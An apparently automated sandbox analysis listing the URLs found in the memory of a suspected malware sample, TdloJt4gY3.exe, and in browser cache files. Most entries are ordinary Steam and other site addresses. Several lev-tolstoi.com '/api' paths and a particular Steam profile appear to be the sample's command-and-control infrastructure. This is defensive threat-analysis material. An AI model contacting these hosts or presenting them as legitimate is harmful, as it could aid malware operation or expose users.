Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345676702.000000000151C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: TdloJt4gY3.exe, 00000000.00000003.1448336604.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: TdloJt4gY3.exe, 00000000.00000003.1471169328.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471346442.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496171660.0000000005F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_105.6.dr	String found in binary or memory: https://github.com/nschonni
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: TdloJt4gY3.exe, 00000000.00000003.1471169328.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1448336604.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471346442.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496171660.0000000005F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_105.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: TdloJt4gY3.exe, 00000000.00000003.1496491209.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1515384540.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1552685094.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: TdloJt4gY3.exe, 00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/71520
Source: TdloJt4gY3.exe, 00000000.00000003.1496241356.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496491209.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/a
Source: TdloJt4gY3.exe, 00000000.00000003.1446041308.0000000005F61000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422628800.0000000001566000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1474082903.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1552685094.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1501134255.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1608635233.000000000154E000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422522345.0000000005F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: TdloJt4gY3.exe, 00000000.00000003.1369683738.000000000158C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apih
Source: TdloJt4gY3.exe, 00000000.00000003.1474082903.0000000001566000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.0000000001566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apion
Source: TdloJt4gY3.exe, 00000000.00000003.1608635233.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiq
Source: TdloJt4gY3.exe, 00000000.00000003.1446519391.0000000005F64000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1446041308.0000000005F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiujJy4
Source: TdloJt4gY3.exe, 00000000.00000003.1423535009.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422933626.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1423759443.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422522345.0000000005F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiyNETL
Source: TdloJt4gY3.exe, 00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ava
Source: TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/d
Source: TdloJt4gY3.exe, 00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: TdloJt4gY3.exe, 00000000.00000003.1473704488.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496241356.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369683738.0000000001565000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496491209.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1515384540.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1552685094.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: TdloJt4gY3.exe, 00000000.00000003.1496241356.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496491209.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ts
Source: TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/uoP
Source: TdloJt4gY3.exe, 00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ws
Source: TdloJt4gY3.exe, 00000000.00000003.1515384540.00000000015B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api8
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: chromecache_125.6.dr, chromecache_106.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: chromecache_106.6.dr	String found in binary or memory: https://schema.org
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: TdloJt4gY3.exe, 00000000.00000003.1345676702.0000000001522000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/F
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: TdloJt4gY3.exe, 00000000.00000003.1345676702.0000000001537000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345676702.0000000001522000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345676702.000000000151C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
